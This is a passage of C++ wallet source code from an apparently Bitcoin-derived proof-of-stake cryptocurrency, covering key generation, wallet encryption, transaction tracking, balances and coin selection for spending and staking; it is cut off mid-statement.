CWallet::GenerateNewKey() { AssertLockHeld(cs_wallet); // mapKeyMetadata bool fCompressed = CanSupportFeature(FEATURE_COMPRPUBKEY); // default to compressed public keys if we want 0.6.0 wallets RandAddSeedPerfmon(); CKey secret; secret.MakeNewKey(fCompressed); // Compressed public keys were introduced in version 0.6.0 if (fCompressed) SetMinVersion(FEATURE_COMPRPUBKEY); CPubKey pubkey = secret.GetPubKey(); // Create new metadata int64_t nCreationTime = GetTime(); mapKeyMetadata[pubkey.GetID()] = CKeyMetadata(nCreationTime); if (!nTimeFirstKey || nCreationTime < nTimeFirstKey) nTimeFirstKey = nCreationTime; if (!AddKeyPubKey(secret, pubkey)) throw std::runtime_error("CWallet::GenerateNewKey() : AddKey failed"); return pubkey; } bool CWallet::AddKeyPubKey(const CKey& secret, const CPubKey &pubkey) { AssertLockHeld(cs_wallet); // mapKeyMetadata if (!CCryptoKeyStore::AddKeyPubKey(secret, pubkey)) return false; if (!fFileBacked) return true; if (!IsCrypted()) { return CWalletDB(strWalletFile).WriteKey(pubkey, secret.GetPrivKey(), mapKeyMetadata[pubkey.GetID()]); } return true; } bool CWallet::AddCryptedKey(const CPubKey &vchPubKey, const vector<unsigned char> &vchCryptedSecret) { if (!CCryptoKeyStore::AddCryptedKey(vchPubKey, vchCryptedSecret)) return false; if (!fFileBacked) return true; { LOCK(cs_wallet); if (pwalletdbEncryption) return pwalletdbEncryption->WriteCryptedKey(vchPubKey, vchCryptedSecret, mapKeyMetadata[vchPubKey.GetID()]); else return CWalletDB(strWalletFile).WriteCryptedKey(vchPubKey, vchCryptedSecret, mapKeyMetadata[vchPubKey.GetID()]); } return false; } bool CWallet::LoadKeyMetadata(const CPubKey &pubkey, const CKeyMetadata &meta) { AssertLockHeld(cs_wallet); // mapKeyMetadata if (meta.nCreateTime && (!nTimeFirstKey || meta.nCreateTime < nTimeFirstKey)) nTimeFirstKey = meta.nCreateTime; mapKeyMetadata[pubkey.GetID()] = meta; return true; } bool CWallet::LoadCryptedKey(const CPubKey &vchPubKey, const std::vector<unsigned char> &vchCryptedSecret) { return CCryptoKeyStore::AddCryptedKey(vchPubKey, vchCryptedSecret); } bool CWallet::AddCScript(const CScript& redeemScript) { if (!CCryptoKeyStore::AddCScript(redeemScript)) return false; if (!fFileBacked) return true; return CWalletDB(strWalletFile).WriteCScript(Hash160(redeemScript), redeemScript); } // optional setting to unlock wallet for staking only // serves to disable the trivial sendmoney when OS account compromised // provides no real security bool fWalletUnlockStakingOnly = false; bool CWallet::LoadCScript(const CScript& redeemScript) { /* A sanity check was added in pull #3843 to avoid adding redeemScripts * that never can be redeemed. However, old wallets may still contain * these. Do not add them to the wallet and warn. */ if (redeemScript.size() > MAX_SCRIPT_ELEMENT_SIZE) { std::string strAddr = CBitcoinAddress(redeemScript.GetID()).ToString(); LogPrintf("%s: Warning: This wallet contains a redeemScript of size %u which exceeds maximum size %i thus can never be redeemed. Do not use address %s.\n", __func__, redeemScript.size(), MAX_SCRIPT_ELEMENT_SIZE, strAddr); return true; } return CCryptoKeyStore::AddCScript(redeemScript); } bool CWallet::Unlock(const SecureString& strWalletPassphrase) { CCrypter crypter; CKeyingMaterial vMasterKey; { LOCK(cs_wallet); BOOST_FOREACH(const MasterKeyMap::value_type& pMasterKey, mapMasterKeys) { if(!crypter.SetKeyFromPassphrase(strWalletPassphrase, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod)) return false; if (!crypter.Decrypt(pMasterKey.second.vchCryptedKey, vMasterKey)) continue; // try another master key if (CCryptoKeyStore::Unlock(vMasterKey)) return true; } } return false; } bool CWallet::ChangeWalletPassphrase(const SecureString& strOldWalletPassphrase, const SecureString& strNewWalletPassphrase) { bool fWasLocked = IsLocked(); { LOCK(cs_wallet); Lock(); CCrypter crypter; CKeyingMaterial vMasterKey; BOOST_FOREACH(MasterKeyMap::value_type& pMasterKey, mapMasterKeys) { if(!crypter.SetKeyFromPassphrase(strOldWalletPassphrase, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod)) return false; if (!crypter.Decrypt(pMasterKey.second.vchCryptedKey, vMasterKey)) return false; if (CCryptoKeyStore::Unlock(vMasterKey)) { int64_t nStartTime = GetTimeMillis(); crypter.SetKeyFromPassphrase(strNewWalletPassphrase, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod); pMasterKey.second.nDeriveIterations = pMasterKey.second.nDeriveIterations * (100 / ((double)(GetTimeMillis() - nStartTime))); nStartTime = GetTimeMillis(); crypter.SetKeyFromPassphrase(strNewWalletPassphrase, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod); pMasterKey.second.nDeriveIterations = (pMasterKey.second.nDeriveIterations + pMasterKey.second.nDeriveIterations * 100 / ((double)(GetTimeMillis() - nStartTime))) / 2; if (pMasterKey.second.nDeriveIterations < 25000) pMasterKey.second.nDeriveIterations = 25000; LogPrintf("Wallet passphrase changed to an nDeriveIterations of %i\n", pMasterKey.second.nDeriveIterations); if (!crypter.SetKeyFromPassphrase(strNewWalletPassphrase, pMasterKey.second.vchSalt, pMasterKey.second.nDeriveIterations, pMasterKey.second.nDerivationMethod)) return false; if (!crypter.Encrypt(vMasterKey, pMasterKey.second.vchCryptedKey)) return false; CWalletDB(strWalletFile).WriteMasterKey(pMasterKey.first, pMasterKey.second); if (fWasLocked) Lock(); return true; } } } return false; } void CWallet::SetBestChain(const CBlockLocator& loc) { CWalletDB walletdb(strWalletFile); walletdb.WriteBestBlock(loc); } bool CWallet::SetMinVersion(enum WalletFeature nVersion, CWalletDB* pwalletdbIn, bool fExplicit) { LOCK(cs_wallet); // nWalletVersion if (nWalletVersion >= nVersion) return true; // when doing an explicit upgrade, if we pass the max version permitted, upgrade all the way if (fExplicit && nVersion > nWalletMaxVersion) nVersion = FEATURE_LATEST; nWalletVersion = nVersion; if (nVersion > nWalletMaxVersion) nWalletMaxVersion = nVersion; if (fFileBacked) { CWalletDB* pwalletdb = pwalletdbIn ? pwalletdbIn : new CWalletDB(strWalletFile); if (nWalletVersion > 40000) pwalletdb->WriteMinVersion(nWalletVersion); if (!pwalletdbIn) delete pwalletdb; } return true; } bool CWallet::SetMaxVersion(int nVersion) { LOCK(cs_wallet); // nWalletVersion, nWalletMaxVersion // cannot downgrade below current version if (nWalletVersion > nVersion) return false; nWalletMaxVersion = nVersion; return true; } bool CWallet::EncryptWallet(const SecureString& strWalletPassphrase) { if (IsCrypted()) return false; CKeyingMaterial vMasterKey; RandAddSeedPerfmon(); vMasterKey.resize(WALLET_CRYPTO_KEY_SIZE); RAND_bytes(&vMasterKey[0], WALLET_CRYPTO_KEY_SIZE); CMasterKey kMasterKey(nDerivationMethodIndex); RandAddSeedPerfmon(); kMasterKey.vchSalt.resize(WALLET_CRYPTO_SALT_SIZE); RAND_bytes(&kMasterKey.vchSalt[0], WALLET_CRYPTO_SALT_SIZE); CCrypter crypter; int64_t nStartTime = GetTimeMillis(); crypter.SetKeyFromPassphrase(strWalletPassphrase, kMasterKey.vchSalt, 25000, kMasterKey.nDerivationMethod); kMasterKey.nDeriveIterations = 2500000 / ((double)(GetTimeMillis() - nStartTime)); nStartTime = GetTimeMillis(); crypter.SetKeyFromPassphrase(strWalletPassphrase, kMasterKey.vchSalt, kMasterKey.nDeriveIterations, kMasterKey.nDerivationMethod); kMasterKey.nDeriveIterations = (kMasterKey.nDeriveIterations + kMasterKey.nDeriveIterations * 100 / ((double)(GetTimeMillis() - nStartTime))) / 2; if (kMasterKey.nDeriveIterations < 25000) kMasterKey.nDeriveIterations = 25000; LogPrintf("Encrypting Wallet with an nDeriveIterations of %i\n", kMasterKey.nDeriveIterations); if (!crypter.SetKeyFromPassphrase(strWalletPassphrase, kMasterKey.vchSalt, kMasterKey.nDeriveIterations, kMasterKey.nDerivationMethod)) return false; if (!crypter.Encrypt(vMasterKey, kMasterKey.vchCryptedKey)) return false; { LOCK(cs_wallet); mapMasterKeys[++nMasterKeyMaxID] = kMasterKey; if (fFileBacked) { pwalletdbEncryption = new CWalletDB(strWalletFile); if (!pwalletdbEncryption->TxnBegin()) return false; pwalletdbEncryption->WriteMasterKey(nMasterKeyMaxID, kMasterKey); } if (!EncryptKeys(vMasterKey)) { if (fFileBacked) pwalletdbEncryption->TxnAbort(); exit(1); //We now probably have half of our keys encrypted in memory, and half not...die and let the user reload their unencrypted wallet. } // Encryption was introduced in version 0.4.0 SetMinVersion(FEATURE_WALLETCRYPT, pwalletdbEncryption, true); if (fFileBacked) { if (!pwalletdbEncryption->TxnCommit()) exit(1); //We now have keys encrypted in memory, but no on disk...die to avoid confusion and let the user reload their unencrypted wallet. delete pwalletdbEncryption; pwalletdbEncryption = NULL; } Lock(); Unlock(strWalletPassphrase); NewKeyPool(); Lock(); // Need to completely rewrite the wallet file; if we don't, bdb might keep // bits of the unencrypted private key in slack space in the database file. CDB::Rewrite(strWalletFile); } NotifyStatusChanged(this); return true; } int64_t CWallet::IncOrderPosNext(CWalletDB *pwalletdb) { AssertLockHeld(cs_wallet); // nOrderPosNext int64_t nRet = nOrderPosNext++; if (pwalletdb) { pwalletdb->WriteOrderPosNext(nOrderPosNext); } else { CWalletDB(strWalletFile).WriteOrderPosNext(nOrderPosNext); } return nRet; } CWallet::TxItems CWallet::OrderedTxItems(std::list<CAccountingEntry>& acentries, std::string strAccount) { AssertLockHeld(cs_wallet); // mapWallet CWalletDB walletdb(strWalletFile); // First: get all CWalletTx and CAccountingEntry into a sorted-by-order multimap. TxItems txOrdered; // Note: maintaining indices in the database of (account,time) --> txid and (account, time) --> acentry // would make this much faster for applications that do this a lot. for (map<uint256, CWalletTx>::iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { CWalletTx* wtx = &((*it).second); txOrdered.insert(make_pair(wtx->nOrderPos, TxPair(wtx, (CAccountingEntry*)0))); } acentries.clear(); walletdb.ListAccountCreditDebit(strAccount, acentries); BOOST_FOREACH(CAccountingEntry& entry, acentries) { txOrdered.insert(make_pair(entry.nOrderPos, TxPair((CWalletTx*)0, &entry))); } return txOrdered; } void CWallet::WalletUpdateSpent(const CTransaction &tx, bool fBlock) { // Anytime a signature is successfully verified, it's proof the outpoint is spent. // Update the wallet spent flag if it doesn't know due to wallet.dat being // restored from backup or the user making copies of wallet.dat. { LOCK(cs_wallet); BOOST_FOREACH(const CTxIn& txin, tx.vin) { map<uint256, CWalletTx>::iterator mi = mapWallet.find(txin.prevout.hash); if (mi != mapWallet.end()) { CWalletTx& wtx = (*mi).second; if (txin.prevout.n >= wtx.vout.size()) LogPrintf("WalletUpdateSpent: bad wtx %s\n", wtx.GetHash().ToString()); else if (!wtx.IsSpent(txin.prevout.n) && IsMine(wtx.vout[txin.prevout.n])) { LogPrintf("WalletUpdateSpent found spent coin %s FLUID %s\n", FormatMoney(wtx.GetCredit()), wtx.GetHash().ToString()); wtx.MarkSpent(txin.prevout.n); wtx.WriteToDisk(); NotifyTransactionChanged(this, txin.prevout.hash, CT_UPDATED); } } } if (fBlock) { uint256 hash = tx.GetHash(); map<uint256, CWalletTx>::iterator mi = mapWallet.find(hash); CWalletTx& wtx = (*mi).second; BOOST_FOREACH(const CTxOut& txout, tx.vout) { if (IsMine(txout)) { wtx.MarkUnspent(&txout - &tx.vout[0]); wtx.WriteToDisk(); NotifyTransactionChanged(this, hash, CT_UPDATED); } } } } } void CWallet::MarkDirty() { { LOCK(cs_wallet); BOOST_FOREACH(PAIRTYPE(const uint256, CWalletTx)& item, mapWallet) item.second.MarkDirty(); } } bool CWallet::AddToWallet(const CWalletTx& wtxIn) { uint256 hash = wtxIn.GetHash(); { LOCK(cs_wallet); // Inserts only if not already there, returns tx inserted or tx found pair<map<uint256, CWalletTx>::iterator, bool> ret = mapWallet.insert(make_pair(hash, wtxIn)); CWalletTx& wtx = (*ret.first).second; wtx.BindWallet(this); bool fInsertedNew = ret.second; if (fInsertedNew) { wtx.nTimeReceived = GetAdjustedTime(); wtx.nOrderPos = IncOrderPosNext(); wtx.nTimeSmart = wtx.nTimeReceived; if (wtxIn.hashBlock != 0) { if (mapBlockIndex.count(wtxIn.hashBlock)) { unsigned int latestNow = wtx.nTimeReceived; unsigned int latestEntry = 0; { // Tolerate times up to the last timestamp in the wallet not more than 5 minutes into the future int64_t latestTolerated = latestNow + 300; std::list<CAccountingEntry> acentries; TxItems txOrdered = OrderedTxItems(acentries); for (TxItems::reverse_iterator it = txOrdered.rbegin(); it != txOrdered.rend(); ++it) { CWalletTx *const pwtx = (*it).second.first; if (pwtx == &wtx) continue; CAccountingEntry *const pacentry = (*it).second.second; int64_t nSmartTime; if (pwtx) { nSmartTime = pwtx->nTimeSmart; if (!nSmartTime) nSmartTime = pwtx->nTimeReceived; } else nSmartTime = pacentry->nTime; if (nSmartTime <= latestTolerated) { latestEntry = nSmartTime; if (nSmartTime > latestNow) latestNow = nSmartTime; break; } } } unsigned int& blocktime = mapBlockIndex[wtxIn.hashBlock]->nTime; wtx.nTimeSmart = std::max(latestEntry, std::min(blocktime, latestNow)); } else LogPrintf("AddToWallet() : found %s in block %s not in index\n", wtxIn.GetHash().ToString(), wtxIn.hashBlock.ToString()); } } bool fUpdated = false; if (!fInsertedNew) { // Merge if (wtxIn.hashBlock != 0 && wtxIn.hashBlock != wtx.hashBlock) { wtx.hashBlock = wtxIn.hashBlock; fUpdated = true; } if (wtxIn.nIndex != -1 && (wtxIn.vMerkleBranch != wtx.vMerkleBranch || wtxIn.nIndex != wtx.nIndex)) { wtx.vMerkleBranch = wtxIn.vMerkleBranch; wtx.nIndex = wtxIn.nIndex; fUpdated = true; } if (wtxIn.fFromMe && wtxIn.fFromMe != wtx.fFromMe) { wtx.fFromMe = wtxIn.fFromMe; fUpdated = true; } fUpdated |= wtx.UpdateSpent(wtxIn.vfSpent); } //// debug print LogPrintf("AddToWallet %s %s%s\n", wtxIn.GetHash().ToString(), (fInsertedNew ? "new" : ""), (fUpdated ? "update" : "")); // Write to disk if (fInsertedNew || fUpdated) if (!wtx.WriteToDisk()) return false; if (!fHaveGUI) { // If default receiving address gets used, replace it with a new one if (vchDefaultKey.IsValid()) { CScript scriptDefaultKey; scriptDefaultKey.SetDestination(vchDefaultKey.GetID()); BOOST_FOREACH(const CTxOut& txout, wtx.vout) { if (txout.scriptPubKey == scriptDefaultKey) { CPubKey newDefaultKey; if (GetKeyFromPool(newDefaultKey)) { SetDefaultKey(newDefaultKey); SetAddressBookName(vchDefaultKey.GetID(), ""); } } } } } // since AddToWallet is called directly for self-originating transactions, check for consumption of own coins WalletUpdateSpent(wtx, (wtxIn.hashBlock != 0)); // Notify UI of new or updated transaction NotifyTransactionChanged(this, hash, fInsertedNew ? CT_NEW : CT_UPDATED); // notify an external script when a wallet transaction comes in or is updated std::string strCmd = GetArg("-walletnotify", ""); if ( !strCmd.empty()) { boost::replace_all(strCmd, "%s", wtxIn.GetHash().GetHex()); boost::thread t(runCommand, strCmd); // thread runs free } } return true; } // Add a transaction to the wallet, or update it. // pblock is optional, but should be provided if the transaction is known to be in a block. // If fUpdate is true, existing transactions will be updated. bool CWallet::AddToWalletIfInvolvingMe(const CTransaction& tx, const CBlock* pblock, bool fUpdate) { uint256 hash = tx.GetHash(); { LOCK(cs_wallet); bool fExisted = mapWallet.count(hash); if (fExisted && !fUpdate) return false; if (fExisted || IsMine(tx) || IsFromMe(tx)) { CWalletTx wtx(this,tx); // Get merkle branch if transaction was found in a block if (pblock) wtx.SetMerkleBranch(pblock); return AddToWallet(wtx); } else WalletUpdateSpent(tx); } return false; } void CWallet::SyncTransaction(const CTransaction& tx, const CBlock* pblock, bool fConnect) { if (!fConnect) { // wallets need to refund inputs when disconnecting coinstake if (tx.IsCoinStake()) { if (IsFromMe(tx)) DisableTransaction(tx); } return; } AddToWalletIfInvolvingMe(tx, pblock, true); } void CWallet::EraseFromWallet(const uint256 &hash) { if (!fFileBacked) return; { LOCK(cs_wallet); if (mapWallet.erase(hash)) CWalletDB(strWalletFile).EraseTx(hash); } return; } bool CWallet::IsMine(const CTxIn &txin) const { { LOCK(cs_wallet); map<uint256, CWalletTx>::const_iterator mi = mapWallet.find(txin.prevout.hash); if (mi != mapWallet.end()) { const CWalletTx& prev = (*mi).second; if (txin.prevout.n < prev.vout.size()) if (IsMine(prev.vout[txin.prevout.n])) return true; } } return false; } int64_t CWallet::GetDebit(const CTxIn &txin) const { { LOCK(cs_wallet); map<uint256, CWalletTx>::const_iterator mi = mapWallet.find(txin.prevout.hash); if (mi != mapWallet.end()) { const CWalletTx& prev = (*mi).second; if (txin.prevout.n < prev.vout.size()) if (IsMine(prev.vout[txin.prevout.n])) return prev.vout[txin.prevout.n].nValue; } } return 0; } bool CWallet::IsChange(const CTxOut& txout) const { CTxDestination address; // TODO: fix handling of 'change' outputs. The assumption is that any // payment to a TX_PUBKEYHASH that is mine but isn't in the address book // is change. That assumption is likely to break when we implement multisignature // wallets that return change back into a multi-signature-protected address; // a better way of identifying which outputs are 'the send' and which are // 'the change' will need to be implemented (maybe extend CWalletTx to remember // which output, if any, was change). if (ExtractDestination(txout.scriptPubKey, address) && ::IsMine(*this, address)) { LOCK(cs_wallet); if (!mapAddressBook.count(address)) return true; } return false; } int64_t CWalletTx::GetTxTime() const { int64_t n = nTimeSmart; return n ? n : nTimeReceived; } int CWalletTx::GetRequestCount() const { // Returns -1 if it wasn't being tracked int nRequests = -1; { LOCK(pwallet->cs_wallet); if (IsCoinBase() || IsCoinStake()) { // Generated block if (hashBlock != 0) { map<uint256, int>::const_iterator mi = pwallet->mapRequestCount.find(hashBlock); if (mi != pwallet->mapRequestCount.end()) nRequests = (*mi).second; } } else { // Did anyone request this transaction? map<uint256, int>::const_iterator mi = pwallet->mapRequestCount.find(GetHash()); if (mi != pwallet->mapRequestCount.end()) { nRequests = (*mi).second; // How about the block it's in? if (nRequests == 0 && hashBlock != 0) { map<uint256, int>::const_iterator mi = pwallet->mapRequestCount.find(hashBlock); if (mi != pwallet->mapRequestCount.end()) nRequests = (*mi).second; else nRequests = 1; // If it's in someone else's block it must have got out } } } } return nRequests; } void CWalletTx::GetAmounts(list<pair<CTxDestination, int64_t> >& listReceived, list<pair<CTxDestination, int64_t> >& listSent, int64_t& nFee, string& strSentAccount) const { nFee = 0; listReceived.clear(); listSent.clear(); strSentAccount = strFromAccount; // Compute fee: int64_t nDebit = GetDebit(); if (nDebit > 0) // debit>0 means we signed/sent this transaction { int64_t nValueOut = GetValueOut(); nFee = nDebit - nValueOut; } // Sent/received. BOOST_FOREACH(const CTxOut& txout, vout) { // Skip special stake out if (txout.scriptPubKey.empty()) continue; bool fIsMine; // Only need to handle txouts if AT LEAST one of these is true: // 1) they debit from us (sent) // 2) the output is to us (received) if (nDebit > 0) { // Don't report 'change' txouts if (pwallet->IsChange(txout)) continue; fIsMine = pwallet->IsMine(txout); } else if (!(fIsMine = pwallet->IsMine(txout))) continue; // In either case, we need to get the destination address CTxDestination address; if (!ExtractDestination(txout.scriptPubKey, address) && !txout.IsUnspendable()) { LogPrintf("CWalletTx::GetAmounts: Unknown transaction type found, txid %s\n", this->GetHash().ToString()); address = CNoDestination(); } // If we are debited by the transaction, add the output as a "sent" entry if (nDebit > 0) listSent.push_back(make_pair(address, txout.nValue)); // If we are receiving the output, add it as a "received" entry if (fIsMine) listReceived.push_back(make_pair(address, txout.nValue)); } } void CWalletTx::GetAccountAmounts(const string& strAccount, int64_t& nReceived, int64_t& nSent, int64_t& nFee) const { nReceived = nSent = nFee = 0; int64_t allFee; string strSentAccount; list<pair<CTxDestination, int64_t> > listReceived; list<pair<CTxDestination, int64_t> > listSent; GetAmounts(listReceived, listSent, allFee, strSentAccount); if (strAccount == strSentAccount) { BOOST_FOREACH(const PAIRTYPE(CTxDestination,int64_t)& s, listSent) nSent += s.second; nFee = allFee; } { LOCK(pwallet->cs_wallet); BOOST_FOREACH(const PAIRTYPE(CTxDestination,int64_t)& r, listReceived) { if (pwallet->mapAddressBook.count(r.first)) { map<CTxDestination, string>::const_iterator mi = pwallet->mapAddressBook.find(r.first); if (mi != pwallet->mapAddressBook.end() && (*mi).second == strAccount) nReceived += r.second; } else if (strAccount.empty()) { nReceived += r.second; } } } } void CWalletTx::AddSupportingTransactions(CTxDB& txdb) { vtxPrev.clear(); const int COPY_DEPTH = 3; if (SetMerkleBranch() < COPY_DEPTH) { vector<uint256> vWorkQueue; BOOST_FOREACH(const CTxIn& txin, vin) vWorkQueue.push_back(txin.prevout.hash); // This critsect is OK because txdb is already open { LOCK(pwallet->cs_wallet); map<uint256, const CMerkleTx*> mapWalletPrev; set<uint256> setAlreadyDone; for (unsigned int i = 0; i < vWorkQueue.size(); i++) { uint256 hash = vWorkQueue[i]; if (setAlreadyDone.count(hash)) continue; setAlreadyDone.insert(hash); CMerkleTx tx; map<uint256, CWalletTx>::const_iterator mi = pwallet->mapWallet.find(hash); if (mi != pwallet->mapWallet.end()) { tx = (*mi).second; BOOST_FOREACH(const CMerkleTx& txWalletPrev, (*mi).second.vtxPrev) mapWalletPrev[txWalletPrev.GetHash()] = &txWalletPrev; } else if (mapWalletPrev.count(hash)) { tx = *mapWalletPrev[hash]; } else if (txdb.ReadDiskTx(hash, tx)) { ; } else { LogPrintf("ERROR: AddSupportingTransactions() : unsupported transaction\n"); continue; } int nDepth = tx.SetMerkleBranch(); vtxPrev.push_back(tx); if (nDepth < COPY_DEPTH) { BOOST_FOREACH(const CTxIn& txin, tx.vin) vWorkQueue.push_back(txin.prevout.hash); } } } } reverse(vtxPrev.begin(), vtxPrev.end()); } bool CWalletTx::WriteToDisk() { return CWalletDB(pwallet->strWalletFile).WriteTx(GetHash(), *this); } // Scan the block chain (starting in pindexStart) for transactions // from or to us. If fUpdate is true, found transactions that already // exist in the wallet will be updated. int CWallet::ScanForWalletTransactions(CBlockIndex* pindexStart, bool fUpdate) { int ret = 0; CBlockIndex* pindex = pindexStart; { LOCK2(cs_main, cs_wallet); while (pindex) { // no need to read and scan block, if block was created before // our wallet birthday (as adjusted for block time variability) if (nTimeFirstKey && (pindex->nTime < (nTimeFirstKey - 7200))) { pindex = pindex->pnext; continue; } CBlock block; block.ReadFromDisk(pindex, true); BOOST_FOREACH(CTransaction& tx, block.vtx) { if (AddToWalletIfInvolvingMe(tx, &block, fUpdate)) ret++; } pindex = pindex->pnext; } } return ret; } void CWallet::ReacceptWalletTransactions() { CTxDB txdb("r"); bool fRepeat = true; while (fRepeat) { LOCK2(cs_main, cs_wallet); fRepeat = false; vector<CDiskTxPos> vMissingTx; BOOST_FOREACH(PAIRTYPE(const uint256, CWalletTx)& item, mapWallet) { CWalletTx& wtx = item.second; if ((wtx.IsCoinBase() && wtx.IsSpent(0)) || (wtx.IsCoinStake() && wtx.IsSpent(1))) continue; CTxIndex txindex; bool fUpdated = false; if (txdb.ReadTxIndex(wtx.GetHash(), txindex)) { // Update fSpent if a tx got spent somewhere else by a copy of wallet.dat if (txindex.vSpent.size() != wtx.vout.size()) { LogPrintf("ERROR: ReacceptWalletTransactions() : txindex.vSpent.size() %u != wtx.vout.size() %u\n", txindex.vSpent.size(), wtx.vout.size()); continue; } for (unsigned int i = 0; i < txindex.vSpent.size(); i++) { if (wtx.IsSpent(i)) continue; if (!txindex.vSpent[i].IsNull() && IsMine(wtx.vout[i])) { wtx.MarkSpent(i); fUpdated = true; vMissingTx.push_back(txindex.vSpent[i]); } } if (fUpdated) { LogPrintf("ReacceptWalletTransactions found spent coin %s FLUID %s\n", FormatMoney(wtx.GetCredit()), wtx.GetHash().ToString()); wtx.MarkDirty(); wtx.WriteToDisk(); } } else { // Re-accept any txes of ours that aren't already in a block if (!(wtx.IsCoinBase() || wtx.IsCoinStake())) wtx.AcceptWalletTransaction(txdb); } } if (!vMissingTx.empty()) { // TODO: optimize this to scan just part of the block chain? if (ScanForWalletTransactions(pindexGenesisBlock)) fRepeat = true; // Found missing transactions: re-do re-accept. } } } void CWalletTx::RelayWalletTransaction(CTxDB& txdb) { BOOST_FOREACH(const CMerkleTx& tx, vtxPrev) { if (!(tx.IsCoinBase() || tx.IsCoinStake())) { uint256 hash = tx.GetHash(); if (!txdb.ContainsTx(hash)) RelayTransaction((CTransaction)tx, hash); } } if (!(IsCoinBase() || IsCoinStake())) { uint256 hash = GetHash(); if (!txdb.ContainsTx(hash)) { LogPrintf("Relaying wtx %s\n", hash.ToString()); RelayTransaction((CTransaction)*this, hash); } } } void CWalletTx::RelayWalletTransaction() { CTxDB txdb("r"); RelayWalletTransaction(txdb); } void CWallet::ResendWalletTransactions(bool fForce) { if (!fForce) { // Do this infrequently and randomly to avoid giving away // that these are our transactions. static int64_t nNextTime; if (GetTime() < nNextTime) return; bool fFirst = (nNextTime == 0); nNextTime = GetTime() + GetRand(30 * 60); if (fFirst) return; // Only do it if there's been a new block since last time static int64_t nLastTime; if (nTimeBestReceived < nLastTime) return; nLastTime = GetTime(); } // Rebroadcast any of our txes that aren't in a block yet LogPrintf("ResendWalletTransactions()\n"); CTxDB txdb("r"); { LOCK(cs_wallet); // Sort them in chronological order multimap<unsigned int, CWalletTx*> mapSorted; BOOST_FOREACH(PAIRTYPE(const uint256, CWalletTx)& item, mapWallet) { CWalletTx& wtx = item.second; // Don't rebroadcast until it's had plenty of time that // it should have gotten in already by now. if (fForce || nTimeBestReceived - (int64_t)wtx.nTimeReceived > 5 * 60) mapSorted.insert(make_pair(wtx.nTimeReceived, &wtx)); } BOOST_FOREACH(PAIRTYPE(const unsigned int, CWalletTx*)& item, mapSorted) { CWalletTx& wtx = *item.second; if (wtx.CheckTransaction()) wtx.RelayWalletTransaction(txdb); else LogPrintf("ResendWalletTransactions() : CheckTransaction failed for transaction %s\n", wtx.GetHash().ToString()); } } } ////////////////////////////////////////////////////////////////////////////// // // Actions // int64_t CWallet::GetBalance() const { int64_t nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (pcoin->IsTrusted()) nTotal += pcoin->GetAvailableCredit(); } } return nTotal; } int64_t CWallet::GetUnconfirmedBalance() const { int64_t nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (!IsFinalTx(*pcoin) || (!pcoin->IsTrusted() && pcoin->GetDepthInMainChain() == 0)) nTotal += pcoin->GetAvailableCredit(); } } return nTotal; } int64_t CWallet::GetImmatureBalance() const { int64_t nTotal = 0; { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx& pcoin = (*it).second; if (pcoin.IsCoinBase() && pcoin.GetBlocksToMaturity() > 0 && pcoin.IsInMainChain()) nTotal += GetCredit(pcoin); } } return nTotal; } // populate vCoins with vector of spendable COutputs void CWallet::AvailableCoins(vector<COutput>& vCoins, bool fOnlyConfirmed, const CCoinControl *coinControl) const { vCoins.clear(); { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; if (!IsFinalTx(*pcoin)) continue; if (fOnlyConfirmed && !pcoin->IsTrusted()) continue; if (pcoin->IsCoinBase() && pcoin->GetBlocksToMaturity() > 0) continue; if(pcoin->IsCoinStake() && pcoin->GetBlocksToMaturity() > 0) continue; int nDepth = pcoin->GetDepthInMainChain(); if (nDepth < 0) continue; for (unsigned int i = 0; i < pcoin->vout.size(); i++) if (!(pcoin->IsSpent(i)) && IsMine(pcoin->vout[i]) && pcoin->vout[i].nValue >= nMinimumInputValue && (!coinControl || !coinControl->HasSelected() || coinControl->IsSelected((*it).first, i))) vCoins.push_back(COutput(pcoin, i, nDepth)); } } } void CWallet::AvailableCoinsForStaking(vector<COutput>& vCoins, unsigned int nSpendTime) const { vCoins.clear(); { LOCK2(cs_main, cs_wallet); for (map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); ++it) { const CWalletTx* pcoin = &(*it).second; int nDepth = pcoin->GetDepthInMainChain(); if (nDepth < 1) continue; if (IsProtocolV3(nSpendTime)) { if (nDepth < GetStakeMinConfirmations(nBestHeight + 1)) continue; } else { // Filtering by tx timestamp instead of block timestamp may give false positives but never false negatives if (pcoin->nTime + nStakeMinAge > nSpendTime) continue; } if (pcoin->GetBlocksToMaturity() > 0) continue; for (unsigned int i = 0; i < pcoin->vout.size(); i++) if (!(pcoin->IsSpent(i)) && IsMine(pcoin->vout[i]) && pcoin->vout[i].nValue >= nMinimumInputValue) vCoins.push_back(COutput(pcoin, i, nDepth)); } } } static void ApproximateBestSubset(vector<pair<int64_t, pair<const CWalletTx*,unsigned int> > >vValue, int64_t nTotalLower, int64_t nTargetValue, vector<char>& vfBest, int64_t& nBest, int iterations = 1000) { vector<char> vfIncluded; vfBest.assign(vValue.size(), true); nBest = nTotalLower; seed_insecure_rand(); for (int nRep = 0; nRep < iterations && nBest != nTargetValue; nRep++) { vfIncluded.assign(vValue.size(), false); int64_t nTotal = 0; bool fReachedTarget = false; for (int nPass = 0; nPass < 2 && !fReachedTarget; nPass++) { for (unsigned int i = 0; i < vValue.size(); i++) { //The solver here uses a randomized algorithm, //the randomness serves no real security purpose but is just //needed to prevent degenerate behavior and it is important //that the rng fast. We do not use a constant random sequence, //because there may be some privacy improvement by making //the selection random. if (nPass == 0 ? insecure_rand()&1 : !vfIncluded[i]) { nTotal += vValue[i].first; vfIncluded[i] 